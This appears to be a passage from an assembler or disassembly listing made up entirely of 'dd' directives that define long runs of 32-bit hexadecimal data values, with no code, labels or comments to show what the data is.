		dd 0B64311FFh, 90B2DE7Bh, 2E697516h, 97343FC8h,	30E42080h
		dd 0C0005CEh, 19F2DCADh, 90F098BAh, 0AA4D0030h,	0B8C9374Ah
		dd 0E20E5739h, 0C37ED5A9h, 982C8061h, 64C348h, 998860C6h
		dd 0BA51E107h, 559A3D00h, 4C43CF2h, 3C55FA3h, 0C594B4Ch
		dd 0CFD5CED8h, 84C6580Eh, 28A1F222h, 0A03CB0E9h, 0B89A900h
		dd 0B34139E6h, 0AF791A00h, 11EE533Eh, 6C7849BAh, 4E245603h
		dd 0CB98EC47h, 0F7045E33h, 0DC86797Fh, 6C90DCD0h, 0A64300EEh
		dd 5C0C204h, 0C4F80BAEh, 0F970DEB8h, 0FD00DD74h, 9E47B03h
		dd 87D327h, 0A8EEF32Ah,	1A16BDB9h, 13EF2801h, 0CA04AC19h
		dd 94C40420h, 58BFE094h, 0B13B4CD4h, 0C7238425h, 44B34F1Fh
		dd 0AB142670h, 0B20300A0h, 0DD7F97D4h, 2C00C377h, 0BCF61AC2h
		dd 0BD8C6543h, 50864140h, 5A00DA7Ch, 23BF8AABh,	242971D8h
		dd 82388E78h, 726A5D39h, 0E0908C68h, 3D9F4E01h,	0FE6ED163h
		dd 24C3160h, 122F01A1h,	45E0CCB1h, 7D00D3FFh, 0F0BBF699h
		dd 0BA4CB0EDh, 20D16F74h, 0DA7ED040h, 670B0D2Fh, 686C980Fh
		dd 2235D24h, 0C7E913F6h, 3071AEEDh, 2A9EA08h, 6A575644h
		dd 0FD40D08Fh, 91825D95h, 0DE43B805h, 508C6938h, 21FB0FAEh
		dd 90879FD0h, 0D191C0D7h, 982CB74Fh, 280007Ah, 64577F71h
		dd 2B9A880Ch, 0A02C4804h, 84E4C189h, 1387F6C4h,	41828DA8h
		dd 7D472190h, 93838A7h,	663013h, 0EE8BAB1Ah, 0D1C50A7Eh
		dd 0EC52365h, 2F63516Ah, 31093BA6h, 0C8542930h,	0B0A1E950h
		dd 2B260054h, 0A476714Dh, 130539D6h, 97FB1D63h,	0B17FF888h
		dd 7AE8A660h, 79DA3181h, 0D0C1E2B0h, 0C0A0CA76h, 0E6F617BDh
		dd 84499219h, 0B5D42789h, 3F1090D8h, 5580073Dh,	0EB374150h
		dd 140EF2AFh, 4B2B92DDh, 7ACC006Ah, 9A04513h, 8D02B670h
		dd 8922BB20h, 5C176186h, 0F400D7B2h, 1B91D56Eh,	9B7D1DA9h
		dd 4273C159h, 638944E3h, 26E4099Ch, 12FC6EDDh, 0ADB830h
		dd 1CCDFEA4h, 0A21FC2A8h, 5D826696h, 0CBA4C880h, 0C692C8F8h
		dd 6E820B6Fh, 150064AEh, 6BC7DD94h, 1EBB9507h, 6A550886h
		dd 0BF287C80h, 1A230BEh, 6293B411h, 0C912F505h,	9C80490Bh
		dd 3F3206A7h, 88D88F4Ah, 21892011h, 0B4F16108h,	196864FBh
		dd 0C5833300h, 49E61FEh, 0B09F093Bh, 88A21459h,	9A1063A8h
		dd 78C08229h, 9300C1EDh, 14881FB5h, 9A75E68Fh, 0EE4C0FECh
		dd 454079ADh, 9CF8BCD8h, 0A1881B00h, 1562327Eh,	581FCAFh
		dd 46D4E1CCh, 5C1F80F7h, 0A70045A8h, 0C09BC39Fh, 28252368h
		dd 12CC3EC9h, 374F5Ah, 0FEFB135Fh, 0F80017E3h, 9DF40351h
		dd 3E745Bh, 823823E6h, 0BB2EEEF7h, 7C0798B0h, 0A301721h
		dd 63C06B15h, 0F69811Ah
		dd 0A849A550h, 8E7AF00h, 0BD00C672h, 25824B6Ch,	6B2040h
		dd 0BC099C2h, 325B2706h, 33B2470Fh, 148C741Bh, 0E0B559h
		dd 0AE74BA5h, 3D47EE02h, 0A28164B3h, 135C54Dh, 0FDBAE0EDh
		dd 0FEDD1A0Eh, 91BCC054h, 9B5BB2h, 7DFF143Eh, 882FE0DCh
		dd 2DCE7201h, 0AE45D6FBh, 0BF57FCh, 0A5A1875Ah,	3B00C3Bh
		dd 2E20AA04h, 0BA80EE4Bh, 3FBC16E8h, 8500BA3Dh,	38D4F25Ch
		dd 6E0FCC73h, 20AB9FF1h, 1BEBCB98h, 0E43C04DAh,	908BCAE8h
		dd 2AB05EACh, 41CB524h,	8FA9DF01h, 22EA3B2h, 14BF75C8h
		dd 974070E0h, 0E793D600h, 6FA7A16h, 0EA2B7E41h,	88810CD4h
		dd 0A5282E10h, 0F9548400h, 0B04065C5h, 0A0CE4DC7h, 0AA559B00h
		dd 952FAD45h, 0D440025Fh, 0C060ED3Bh, 60789230h, 0A429483Fh
		dd 1C90066Ch, 91E2BA0Eh, 1B73E060h, 13E1931h, 0A6289F5Fh
		dd 30FF76ECh, 9B00FCB0h, 95B33DDEh, 5A74B1h, 2F4CED05h
		dd 0A555238Eh, 6E8C3316h, 25D29040h, 26274184h,	8028479Dh
		dd 0F8B7D1F3h, 74007BF9h, 2C384A8Ch, 0C03097A6h, 3D049D88h
		dd 92009E3Ch, 70011BB3h, 7542026h, 9B5CEF42h, 6E0870C4h
		dd 0EA0062AAh, 0B867599h, 1E856368h, 78F2A55h, 0EBEBFF52h
		dd 70468B07h, 5953819Dh, 0B77C8AF6h, 54131C00h,	0DD390BD9h
		dd 0C62D00B6h, 7F0FB9B4h, 280008D8h, 308B2290h,	3D3F2C46h
		dd 2730AEC1h, 2C83EA6h,	755339h, 0EB4D5955h, 334B88h, 810C22FAh
		dd 5EE3F911h, 83D2F300h, 4896893Eh, 17EAC4h, 13E5E842h
		dd 2437B2BBh, 90286475h, 3927E097h, 74C0E019h, 0BEF6DBh
		dd 5F7D7BD6h, 0BA501F2Bh, 32B59200h, 6DEA035Eh,	88E700C7h
		dd 2F4561CEh, 0A7000416h, 8A489C8h, 2628FA0Dh, 948869h
		dd 6872B2FFh, 8F046A02h, 0FB6E1074h, 0CC1578A1h, 27F978C0h
		dd 96B71C5Eh, 80D49E2Dh, 869881CAh, 0CF0016E3h,	91B3882Ah
		dd 756697F7h, 9C43264Ch, 0DDEF001Ch, 744F445h, 0B11F9498h
		dd 0FE2608h, 0F9794E2Bh, 0CD247FEh, 96DBE9D1h, 9100F1F0h
		dd 0EC9239EEh, 370593h,	0D6672C4Eh, 7DDACEA3h, 276E0A14h
		dd 80613D83h, 0B4015F7Fh, 49EBD1Eh, 411FBF90h, 85FAC071h
		dd 0F161A0E4h, 0F82977F1h, 0C4221863h, 1FB8E21Dh, 77BC9FC0h
		dd 29ED6E4h, 5CC5CC2h, 0D8409AD3h, 0BA006C81h, 1F03EF25h
		dd 9A64BCBh, 3AAC6A7Fh,	39E23C60h, 12A9A50Eh, 0B7405E35h
		dd 4861B18Ch, 0C35300EAh, 25F74CF6h, 0E0091894h, 81D0FB31h
		dd 657D8E38h, 122CFC22h, 0C0AD15BDh, 88A2FA02h,	47066CFh
		dd 0E5EBBC00h, 20420E8Dh, 4BA60007h, 3B2C4A9h, 50B03BE8h
		dd 0AA45D1Eh, 0A7439B81h, 1DE074C2h, 0E5C9CAFFh, 41CA00C1h
		dd 0A06E7BACh, 6DB4500h, 0AA46E70Eh, 0A5810061h, 919F0D48h
		dd 52006775h, 0F4C716F8h, 1BAF056h, 9A92B893h, 0F48B7433h
		dd 0C8C08997h, 3C09D92Ah, 12C09057h, 83DE8C05h,	0E4A09278h
		dd 0A60083E1h, 0AC90E26Bh, 0B8CEE6Fh, 26ED64B0h, 84418060h
		dd 3B006171h, 1B0215DDh, 2A776FEh, 0D856A67Ch, 8CA077A2h
		dd 6F3322BAh, 748948h, 7895A4C7h, 18AF021Ch, 6ED33154h
		dd 109D4620h, 5FC24E8h,	0B73C6EE8h, 0C52CA059h,	0F41ACA01h
		dd 3BF248A3h, 306403E0h, 7121875Eh, 0A9014EE5h,	0D3D90D07h
		dd 48303488h, 430B1E96h, 0F9090F49h, 35901400h,	0C7033050h
		dd 37AE4BF5h, 0DDABA093h, 876500F1h, 0A3C0A433h, 787B5C12h
		dd 4719D2Ch, 70907092h,	97F1C258h, 0E6B22C80h, 7A05BB36h
		dd 276C240Bh, 0C100F4E6h, 446F49A9h, 0DA0174D7h, 0A3208A59h
		dd 307CFDC3h, 2BB85E01h, 0F4193C28h, 0FC98EBB9h, 8F887503h
		dd 578065Ah, 0E2E4F310h, 20268731h, 9B19B983h, 0AF9FAE05h
		dd 9500980Fh, 9C6B293Bh, 84EC02A4h, 0B5BA6148h,	0F4F250E9h
		dd 43263B02h, 1D8AF0A8h, 9E04ABE4h, 98803F99h, 40984h
		dd 898FA3C6h, 48F7E2C4h, 683C57F8h, 8621EE9h, 0A143E41Eh
		dd 64BA71h, 31924F48h, 3FF586F1h, 0B58BFF00h, 240CD866h
		dd 87FA1AD0h, 14C028FDh, 0F300A1B9h, 2B6354B6h,	7B31CEh
		dd 0DD18F408h, 0EA9575BDh, 686D8D06h, 0F8DBC7h,	0E62103E8h
		dd 0CD4F8446h, 33AD5A03h, 98365DA7h, 3AB8CA0Eh,	3FFC6E99h
		dd 8480B34Fh, 0C355607Ch, 14141AA0h, 1CFDC922h,	0E2828C6Dh
		dd 7C8AEB94h, 0A06C00C0h, 9AA413CDh, 0F3747F24h, 0F88C283Eh
		dd 67016102h, 405C022Ah, 0BEA649h, 1346D5A3h, 7AE24A47h
		dd 39AADD00h, 0EC44120Bh, 0A6B007CFh, 2572D81h,	18788F2Ch
		dd 53F4F00Fh, 80CAA951h, 0EA99E764h, 47A9072Fh,	0F00501F2h
		dd 5932D977h, 0D2BD9601h, 375D7F75h, 0B4871C60h, 0A8F24534h
		dd 940E7D5Ch, 1A2EE29Bh, 61EE6010h, 60E31DBDh, 21CD4A49h
		dd 2F8389FCh, 7D983CF2h, 84002D4Bh, 8C6081E7h, 0A16901CCh
		dd 56EC145h, 46BE465h, 2A8D6807h, 3F36FEBCh, 85E30930h
		dd 708CA19Bh, 0A9005C10h, 563B3490h, 3DA7B0E9h,	91EF993h
		dd 50EE8Bh, 0AD77837Ch,	7FFEF759h, 88DBB000h, 0F4847DFCh
		dd 0C8E500A2h, 2CB4E06Bh, 6700808Bh, 75C65A71h,	98C556ADh
		dd 0BDB8005Bh, 0F51870D5h, 2105633Ah, 2540F73h,	1B372780h
		dd 926F079Ch, 1188CA83h, 80DFDD3Ah, 0C66885F8h,	90FE329h
		dd 0A24FCF1Bh, 0E646A4A0h, 0EE2E0309h, 3E008B45h, 0B31AD631h
		dd 65750098h, 0C750F654h, 0BB0058F2h, 0E41490B9h, 988B3735h
		dd 798A00A0h, 0F0553E69h, 8E22039Fh, 3B9807D4h,	80C44CE7h
		dd 0C59C8AAFh, 38B9F75Ch, 57B209DDh, 16D48F3Bh,	96BC0F4h
		dd 957B40D6h, 361198A0h, 5D00FC99h, 4DAC4C91h, 120D2002h
		dd 803C892Fh, 5911CE34h, 0E0621600h, 0F3C6A896h, 5274003Eh
		dd 93A631D5h, 6F5802D6h, 489901E4h, 0DDF7A19Dh,	0FA6920h
		dd 9B7897FCh, 0DE93647h, 0DCAA1B12h, 12CE4082h,	5002456h
		dd 661F9A27h, 0BACA078Ah, 0F0AAA5AFh, 2A595C4Dh, 0C042AC01h
		dd 0DFA3240h, 0DBF1F0h,	38D2EB46h, 340EA998h, 5CBCE400h
		dd 939C3E7Eh, 2933043Fh, 80139973h, 270F4A5Ch, 0E53DA00h
		dd 2E2FE720h, 48654832h, 120C941Dh, 6268025Ch, 0EA04D1F1h
		dd 0E2A0D0FCh, 0F0C1D637h, 346E2375h, 0B868006Fh, 89EECD06h
		dd 2142AC94h, 7BE0005Eh, 0D760E332h, 6ECD8D38h,	834600A2h
		dd 0C1DC3B1Dh, 0D30F298Fh, 0E48EA089h, 180559D1h, 0F00CC711h
		dd 6E108D2h, 3C10B659h,	0E44D2AEBh, 0E1EFCE25h,	71A60EF0h
		dd 0ED28B973h, 0BE3127E1h, 74981811h, 0B509DE70h, 0B724C7h
		dd 4E6F5834h, 4328009Bh, 0A4C96433h, 170092C4h,	7432CEB3h
		dd 0FC58118Ah, 7CBB909Ah, 0A7BA0067h, 0C59B304Eh, 7B1E0CC7h
		dd 2B4D97F0h, 0C8DC9825h, 0FD1A0080h, 0D6DC860Eh, 9000B4E6h
		dd 1C069527h, 3387407h,	2C584365h, 2001DE7Dh, 0FF7ECAF3h
		dd 42D8165Fh, 18BA0095h, 922E7F1Eh, 0A8B04C33h,	2BE9F200h
		dd 87A42324h, 0EC4B1D26h, 40F69F72h, 0CD16F1A5h, 0CE008E97h
		dd 0B002A38Ch, 147B1CAh, 546DD568h, 708D7306h, 43E23C1Eh
		dd 0ADAC2C54h, 0EE0ECD7Bh, 60402849h, 0ACE77AE3h, 0DF7282h
		dd 22462E0Eh, 1657856Dh, 8B281805h, 40BCF9B4h, 4B6BC407h
		dd 0AC09C0F5h, 9D3F0838h, 0A3B8504Dh, 6200DD73h, 0B4693DCBh
		dd 4A8AB16h, 0B831A53Fh, 0C874C314h, 47D14FCBh,	1C042874h
		dd 0F4940A9h, 622080E2h, 60E5A682h, 67D81687h, 0C700256Fh
		dd 5C7ADCF0h, 4C544658h, 34007FB6h, 9DBC1DDFh, 0F000FD7Fh
		dd 9B8CEBDEh
		dd 674D5Bh, 0F6C4A779h,	0A9AB5AA6h, 8FADDC12h, 0B2970B0h
		dd 0D15369EEh, 0E3611440h, 0B288A00h, 67442E08h, 0B57D2DD6h
		dd 0D36B8CE8h, 69C03800h, 73BA46EDh, 0C54D00E0h, 0C840E16Eh
		dd 4B01E271h, 547C38CFh, 55E43CCBh, 62B658CCh, 3BCEF28h
		dd 0C0ACC526h, 113CCD38h, 4A73E9Dh, 9A174A6Ah, 607290E4h
		dd 645799CCh, 513AEDBDh, 3DF11D94h, 1B98B883h, 0D0AE062h
		dd 1E4926Ah, 0ACCD253Ch, 3495E5D7h, 0F606F140h,	5189D9DCh
		dd 0CD0A0048h, 0D7E1E58Ch, 0D83A20E8h, 914080D0h, 0A9993FD4h
		dd 0CA9B5CCFh, 9A2C5300h, 6C8C9514h, 0EAEC120Ah, 0A0A2C1Ch
		dd 0ED003C0Ch, 4F64B5BDh, 0C5611DA0h, 5ADE8048h, 3E418E46h
		dd 98B90B00h, 69D12BD3h, 4D6C00D5h, 0E327D60Dh,	0CE00EDC6h
		dd 351DA0E5h, 0AFF5B3h,	0AAE9B22Eh, 23D10F47h, 72A2201h
		dd 0CF2FFDCEh, 0F87E76CCh, 4639003Bh, 1A621EEDh, 2900C1C6h
		dd 0DBB89F63h, 0E48D0A9h, 0EDD133EFh, 0B2CD8A60h, 0C375054Ah
		dd 0B6F2DA00h, 9B9025EEh, 89AD0634h, 0D1F9F0AEh, 3AC26400h
		dd 16E39AA2h, 225400BCh, 2538218Eh, 0D503041Ah,	5E14F744h
		dd 0EF4AA374h, 2A49BE20h, 0C9F20283h, 0CE0AA048h, 5B68E0A0h
		dd 690AEA7Eh, 0A0A3B3C0h, 0CD11A006h, 156E0121h, 5F622AC9h
		dd 403A3025h, 4AE49h, 0D52E4E3Fh, 3F55947Ah, 6980E96Fh
		dd 0DEC992B5h, 0A054C6FFh, 4F1C7EC8h, 0B080652Eh, 7C23FD60h
		dd 0FACD00B1h, 0F075336Fh, 587E0849h, 0C691740Ch, 0F43994h
		dd 1CFE6A42h, 0B79B8DC3h, 5E9F5A00h, 9203F049h,	1E7090DAh
		dd 80090AD4h, 16916041h, 2104067Ah, 4DA06193h, 190488h
		dd 0E9D3202Eh, 159F8CC7h, 1DE8D777h, 0F20CCF00h, 1B16A06Ah
		dd 90D11F57h, 0E9D9D898h, 1000B4F4h, 9EDDCF80h,	0CAA5471Ah
		dd 0D0049C11h, 0D53EBAF4h, 36190381h, 0E07EFF06h, 1CD39360h
		dd 6433C1AAh, 9EDF00B3h, 327183F7h, 0A2008075h,	42C87C9Ch
		dd 3B41AFAh, 88BC5CD9h,	6CABC587h, 988DC3CCh, 0CF5BB890h
		dd 8AF33E0Fh, 91019CE4h, 69139BE5h, 6E4C9040h, 0F2DEC0Eh
		dd 3CD68D8Ah, 0FDA95C2h, 0B618EFE0h, 539A7A07h,	5F5E13D8h
		dd 0C22F2580h, 622191h,	15FD4BB5h, 7363044Dh, 0E3008275h
		dd 0F8A7983Fh, 54FE91h,	903157A4h, 7875958Ah, 866E0F2Eh
		dd 5D53A0Eh, 66C16F4Dh,	0CEF00424h, 0C2A6008Eh,	38EBF06Ch
		dd 0E500EA73h, 0B07C56EFh, 7D7003h, 5A25661Ah, 49BDD36h
		dd 953CEEEEh, 50BEB1h, 6297F382h, 501F4C85h, 0B864B4CCh
		dd 8FE93F9Eh, 6E057700h, 8BEB8C50h, 85C7F701h, 0E4E72C19h
		dd 28960CEh, 0A9A0010h,	7F9BC371h, 3E784A11h, 445C840Ah
		dd 8100EEACh, 886CA020h, 0BAA81CD8h, 333105FFh,	64EC40CDh
		dd 0CC960537h, 57C76D2Ch, 0ABD9A63Eh, 6D01CE17h, 0B014478Ch
		dd 145C79CCh, 0BC457792h, 7C1AE907h, 0BFFB73D4h, 0C30743B8h
		dd 0D49ED00h, 0B49F5DC1h, 3CC00B3h, 0D170222Dh,	2401FC2Ch
		dd 8F7FB18Ah, 0B9AC891Ah, 0D8F600A2h, 46D18319h, 7C00F476h
		dd 0C2B21851h, 0C4E9B4h, 8CF31F21h, 91FEB6E2h, 8FB7E100h
		dd 0A1EC0131h, 90A7F6FAh, 60236024h, 0FD7AB5Bh,	0EA01CC0Ch
		dd 0A221ADh, 41BB9303h,	73DE3DDFh, 0D73CD301h, 338DE595h
		dd 0BA5BECh, 5E9790FCh,	949A088Fh, 77013900h, 3A7FB851h
		dd 0ECC60599h, 2DAA1E7h, 0A55256A4h, 0EF38B800h, 0D02650E4h
		dd 174B03F0h, 0FD42D76Eh, 7A6220B7h, 0AF782DA0h, 93F8D360h
		dd 90E3355Eh, 0EE8A019Bh, 2E479444h, 0DE702480h, 2795D200h
		dd 1F7B3B59h, 86E6001Bh, 0E102ABF4h, 0A3790A97h, 0F9619500h
		dd 7577E52h, 668E0011h,	0B18DFDD3h, 0E6003268h,	0E0F2213Bh
		dd 8C2842h, 852C4EECh, 0AF044FEDh, 44D67706h, 1B8F052h
		dd 826EAA1Eh, 7012ABE1h, 493CEB46h, 0B002F8E2h,	0A9EFEC14h
		dd 9C0460B8h, 0FCE0CFC5h, 2003A1Fh, 3A14DDBEh, 33165A3Bh
		dd 781096B4h, 560912BFh, 7B221C40h, 4D4F73Eh, 1161ACB5h
		dd 9334D0A6h, 6C1C0BAFh, 6900AACDh, 0F72286CAh,	36D1F1Dh
		dd 0FF5143FEh, 12B8C621h, 3900B836h, 0ADDED7C1h, 3403D38h
		dd 667E2757h, 203913CDh, 3B4D0098h, 9C99BC52h, 1D9B00BBh
		dd 0E692BFA1h, 3007603Eh, 276B703Ch, 0E0FC24D3h, 0E4B45BB9h
		dd 83C00004h, 6E521A31h, 5D001DD8h, 0B2354477h,	0EC0D20D3h
		dd 894B0766h, 0FE698F7Ch, 56C811ACh, 0A2CEE500h, 0EF4D9988h
		dd 0F5600064h, 0C39DAAEDh, 7700B973h, 0E4430180h, 97B216h
		dd 40BEDAB5h, 0CB89A652h, 0A883EC03h, 0F09825AAh, 67DE7Ch
		dd 0DFE8F250h, 829AC4A1h, 24A9AF00h, 85E9EFCAh,	14BA041Bh
		dd 9063DC29h, 94EA3B48h, 3AA27B07h, 7F0FE2DFh, 62E54940h
		dd 2DF35Eh, 8A21AEC2h, 82140D31h, 0BFA5A713h, 1643000h
		dd 1D5A2A05h, 9DF32999h, 20B5215h, 54891BD8h, 806601C1h
		dd 93B52A11h, 0B027A4h,	0C475F340h, 78A882EEh, 4A42921Fh
		dd 0CB801824h, 4F5F8344h, 0A234022Ch, 0D58AC945h, 43DE7440h
		dd 9142650Fh, 8FE161E7h, 0BF07DADh, 4C6D28E4h, 6B9B00E8h
		dd 0BF0F712Dh, 10F4271Dh, 0B25F5900h, 92FB3B99h, 21BD187Ch
		dd 78D831D5h, 0D9190D60h, 0E562A53h, 0A08CAD48h, 0FF6B140h
		dd 73581489h, 4D380030h, 43A85019h, 0B3E900EEh,	59A07116h
		dd 0FE4C42A4h, 0C0AA0094h, 0F7581990h, 7BF30034h, 89E441D7h
		dd 5A05F45Eh, 0FAA518BDh, 0BC708EC7h, 0FA92C4Ch, 403C78E3h
		dd 32971120h, 8D00E416h, 0F7853719h, 390C973h, 0BCB6D2DDh
		dd 7D90BFDAh, 4E2EB44Ch, 7B0F657Fh, 0C63BC09Ah,	8FCCA6h
		dd 75E846E7h, 32884D80h, 0F9FD5D00h, 1872DEFAh,	0BFD1001Dh
		dd 9B80EFBDh, 7704AD73h, 2D0B7BC7h, 0A3CEC3h, 0DA747119h
		dd 0CF92ADD9h, 0F9DE2500h, 0E3502770h, 7F8B007Dh, 601FB118h
		dd 0E67EA854h, 33BCA700h, 3987CAFh, 48E0EE08h, 0F403954Ch
		dd 42C519B7h, 655259A8h, 0F2DD1300h, 8092B138h,	224BA88h
		dd 2BD2508Eh, 8682CE9h,	0A12C6AB0h, 3A806CBEh, 0FA4020Eh
		dd 0AD1B0066h, 0B21E59A5h, 1A01633Ch, 246D3278h, 520347Ah
		dd 7635007Dh, 74CA8030h, 0CF008F2Fh, 0C393317Fh, 18C403Bh
		dd 5AF8F9C6h, 74684C66h, 0F7B09C60h, 180CB59h, 0EDB4B956h
		dd 0D4D1A954h, 309286D0h, 4A21C844h, 1A3CD58Eh,	1CAC99D0h
		dd 0EBD0AB08h, 87143026h, 0A1F303D9h, 2306649Ah, 2E63A5EDh
		dd 0F49D0008h, 8B465279h, 4C00E2E6h, 0F928CC94h, 5A91BCh
		dd 76B2A60Fh, 9A6D8C4Dh, 59CE5D00h, 23266E8Bh, 0C2AC019Ch
		dd 0DD0A0312h, 94B6E0C7h, 4C002B76h, 0AC379197h, 0C545A22h
		dd 0F8FD2662h, 0A8051B91h, 0AB8591C1h, 0A2FF4C01h, 2DF07804h
		dd 0F8BC00CEh, 0F5D7C660h, 39CB994Ah, 0C2610783h, 0ABD680D0h
		dd 905250ECh, 82540AC8h, 428CB892h, 0A890624Ch,	0A83E3D5Fh
		dd 5C373AF9h, 0C84507A5h, 0C0504D8Dh, 5E8E9Ch, 248DF7Bh
		dd 86D88433h, 3126087Ch, 9900A1DEh, 0B5F11C51h,	0E99F008Ch
		dd 62616BC5h, 920050CFh, 1A96DF73h, 0D9CAD4h, 2ED69CEDh
		dd 3FB2C852h, 0AF0E80E6h, 408CDA54h, 0D945697Ch, 9DF4E9B4h
		dd 37F260h, 0E659CFC6h,	429998D4h, 0D6006B90h, 0C06FC2D1h
		dd 25FCCBF1h, 7818A8CFh, 7E01E67Ah, 850B74A1h, 0B2D045D8h
		dd 2AC1F7Dh, 15688F89h,	0C07F7C87h, 86B72F1h, 6973860Fh
		dd 8D390701h, 107546h, 0AFCB8418h, 479888D5h, 9009ACB8h
		dd 76099Fh, 0A1BD0279h
		dd 870C036Ah, 85086D75h, 8112C0C7h, 17787F71h, 617EC13Ah
		dd 0C7187930h, 0A9C9Dh,	0B20D5BA1h, 0C504737Fh,	0C6397289h
		dd 7AB4E8A2h, 0F482BB04h, 6CE1EB23h, 37E03B2Dh,	34D80088h
		dd 65E69E19h, 56182FD6h, 0E818D064h, 623201BCh,	0C9A4EBA0h
		dd 0E7B870C5h, 87077825h, 0AF4175C4h, 61BBCAF9h, 0E014FC00h
		dd 85B51954h, 0B4E14C1Dh, 96319818h, 0C1470F4h,	905AAC08h
		dd 4C03E099h, 563D946Fh, 1601B0FCh, 0E488001Eh,	3C0E5A4Ah
		dd 1009A4E8h, 0C31F4B91h, 0D242DF44h, 36CE4F7h,	6246AABCh
		dd 0CB88A52Eh, 8CC9525h, 1E621B8h, 9D8C46A2h, 83D71AE0h
		dd 7256FB1h, 0B206A1DDh, 517949E4h, 300B84D3h, 47C0BE88h
		dd 1AE649Dh, 1CAFF288h,	89C62A21h, 40E28D50h, 93DC28h
		dd 4E5EDDFEh, 68B5703Ch, 0C2E75304h, 83AF8D1Ch,	0B2E05D22h
		dd 2E00EF82h, 81B0F44Eh, 31491ED8h, 9150EE86h, 83C84CCAh
		dd 0C0B6F488h, 72195C91h, 587FC949h, 6B462500h,	874E40C4h
		dd 19577D2h, 551A0618h,	50CC99F8h, 0E621DE88h, 94F9A9C5h
		dd 0B97FD043h, 202690D0h, 0B28C00E8h, 0EF4F87F1h, 310454FBh
		dd 0A0A57DE3h, 3FFD0498h, 0E190EB14h, 809BC8B4h, 0E514F58Fh
		dd 0DF6329DEh, 0F8085971h, 0E499F4A1h, 0C4C9D0C4h, 0AE01D623h
		dd 852E6E46h, 0E288B118h, 0D44600A6h, 9D08D97Ch, 96F4A8h
		dd 0E8078089h, 15623C8h, 0D8843D93h, 0CB120F9Eh, 0BCCAF8E0h
		dd 562BB0A0h, 203C1B31h, 12FFAC7Bh, 41A61838h, 7C4E2794h
		dd 3B8100CBh, 97A74ADh,	9FD232CEh, 405B9801h, 0CC818051h
		dd 4C79DE18h, 867581A5h, 0B2CD1690h, 0FB80A20h,	4074E911h
		dd 2E6F46B7h, 0C0228D46h, 46AFE300h, 3BACB232h,	0CA7100A6h
		dd 63FCC84Eh, 80014C6Bh, 0F7BF9C7h, 0F04549B2h,	0A423D83Eh
		dd 0DF8BC900h, 9D7E578h, 0BD5445D5h, 0C1584820h, 0CC0A7BB8h
		dd 0B485F9F7h, 6862A080h, 0C601CACh, 8804D4C1h,	21C1AE08h
		dd 0DA685AC5h, 0F7466D0h, 17674A36h, 0B71D7842h, 8D6F8881h
		dd 0C10C24E7h, 7214D00h, 57BC5F48h, 2CDB3C9Eh, 0CD0E2401h
		dd 40A32A31h, 513CB7B8h, 0D0DF2628h, 85A0506h, 2A50ABF5h
		dd 1E9CD901h, 0F0BC562Dh, 5A511CC0h, 0A730B661h, 8F3A584h
		dd 0D0D14038h, 5E2E9C01h, 3082B5F0h, 54AC6CECh,	3B0C8C72h
		dd 40C1EA49h, 843E0602h, 51EE1218h, 0EC029441h,	46AD30D7h
		dd 7D2E6111h, 0E19EB988h, 5AE246C0h, 444FFBEh, 0BFAD114Ch
		dd 1D7805Eh, 60C4CB0Eh,	0D088FA2Ch, 214F3D4Dh, 0C885A480h
		dd 3D1E87C1h, 7D5ED8F1h, 9FD17C02h, 1210E0F7h, 34C07843h
		dd 0E1EC556Ch, 0E9B3E0E9h, 5DD65F05h, 0F041B27Ch, 1BE01D8Ch
		dd 0DE0B9832h, 28201227h, 3701040Ch, 0D6FA411Eh, 60124426h
		dd 9775B049h, 80A49108h, 0AF22D41Ah, 8E29129Ah,	0EF0052D9h
		dd 0A3DEF200h, 52D405Fh, 0AC65D161h, 0D0C42363h, 0EBC1100Ch
		dd 63FC0867h, 0B95F59DFh, 27C64CD0h, 0B7836F00h, 0E87098C2h
		dd 8AC7030Eh, 0E1A1FD65h, 0D32452F0h, 6046E58h,	0DC2CDF11h
		dd 92B01B81h, 1CC0514Dh, 6D2870F9h, 0B350DC30h,	58CD3F0h
		dd 2E6546A9h, 148E9Dh, 1E46A1E5h, 43E5142h, 8D770A12h
		dd 0FC55815Fh, 8A6980DCh, 57F9D629h, 4FF6EBh, 6C4CAAAFh
		dd 6D4B325h, 20E9A7E1h,	0A440C258h, 0FF770ACAh,	18D4D1A9h
		dd 0D3A0C1BBh, 81C021B0h, 0F03716CAh, 38750128h, 96CDC7E4h
		dd 946EA4DEh, 856E5A40h, 1D5312FFh, 0E80C594Fh,	46F019D5h
		dd 0AD2E2C63h, 0ABE770B8h, 5364609h, 0BE1D845Ch, 3A54A880h
		dd 0D8A64812h, 4909D948h, 2007967Dh, 725371A0h,	1C4CFEA5h
		dd 0E114FB02h, 19B51154h, 0F38910A0h, 1EBCB014h, 808E6B48h
		dd 0B3435D4Fh, 846492ACh, 0A4C48CD1h, 0D280D884h, 26013CD8h
		dd 8214DE62h, 0C9BD78BAh, 0B4E8CA00h, 6388DC39h, 0EE14FA01h
		dd 0A7180954h, 14F8608Ah, 66260E04h, 3042ECC3h,	8441A9D1h
		dd 8FE18A1h, 0E954EA14h, 0B8F68C70h, 0DAF20190h, 9EF7FF03h
		dd 0F5B030D1h, 6864048Ch, 62901CAAh, 37C32797h,	7791D068h
		dd 1F58562Eh, 0F2CC8564h, 68612420h, 381C23B7h,	0C637AB11h
		dd 9D23E320h, 41CD2BB8h, 8458AC11h, 8E67F709h, 6FC72843h
		dd 937C39E0h, 0CD0FE33Bh, 0E0DD0914h, 8710C6D3h, 6F9D022Fh
		dd 0A1C455A6h, 0C8FCC485h, 3F00B608h, 7095F265h, 3A4AC6Fh
		dd 972505EFh, 409029C0h, 96000364h, 981306Ch, 59D63255h
		dd 4713B488h, 5D1831A0h, 89806E4Ch, 52D61061h, 0AAE27C66h
		dd 74F55A30h, 1EB104FAh, 80E38601h, 0C5282518h,	0AE92B700h
		dd 0A22254E4h, 0A4E8173Dh, 780492F9h, 86425B40h, 27073500h
		dd 0D9B491F6h, 40F200E3h, 578DD734h, 0C1EE0230h, 0E0B982FBh
		dd 50B05692h, 7040BB70h, 5905E44Ch, 5E7D649Dh, 0C34A7081h
		dd 4E7EC00h, 1448A54Ah,	8E80BAB1h, 0F1F2A6CBh, 0C50024C0h
		dd 6E849C21h, 17EFE4Fh,	0BBC4A3EFh, 20A5D52Eh, 28CA268h
		dd 54ED14FFh, 0F4E5B5F1h, 14F78D87h, 0A2185246h, 912015ACh
		dd 0BFB680A0h, 2F0A7BCh, 809404Dh, 4C499E0h, 0D2CC9046h
		dd 57079169h, 0D12E345Ch, 9F29C230h, 67ED0501h,	91FE0F5h
		dd 0C4826F14h, 0A46ABC92h, 0E8610860h, 29225002h, 60A4F701h
